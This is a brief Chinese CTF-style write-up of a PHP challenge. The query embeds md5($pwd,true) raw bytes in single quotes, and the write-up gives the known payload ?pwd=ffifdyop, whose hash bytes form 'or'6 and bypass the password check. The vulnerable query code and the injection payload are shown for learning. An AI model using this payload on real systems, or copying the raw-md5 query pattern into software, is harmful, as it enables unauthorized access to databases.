源码如下

```php
<?php
 show_source("24.php");
   echo '<br>';
  header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
require('config.php');
if(!$db)
{
  echo 'select db error';
   exit();
 }
 $pwd = $_GET['pwd'];
 $sql = "SELECT * FROM userinfo WHERE pwd = '".md5($pwd,true)."'";
 $result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
 $row1 = mysql_fetch_row($result);
 var_dump($row1);
 mysql_close($con);
 ?>
```

很明显可以注入了。

难点就在如何寻找这样的字符串，我只是顺手牵羊，牵了一个。。

提供一个字符串：ffifdyop

md5后，276f722736c95d99e921722cf9ed621c

再转成字符串： 'or'6<trash>

所以payload

```
?pwd=ffifdyop
```